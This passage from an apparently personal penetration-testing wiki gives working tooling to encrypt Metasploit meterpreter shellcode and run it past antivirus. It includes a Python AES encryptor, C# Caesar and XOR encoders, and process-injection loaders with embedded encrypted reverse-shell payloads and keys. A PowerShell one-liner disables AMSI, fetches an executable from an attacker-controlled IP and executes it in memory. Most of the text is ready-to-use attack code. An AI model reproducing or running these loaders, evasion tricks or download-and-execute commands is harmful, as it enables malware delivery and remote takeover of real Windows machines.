		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
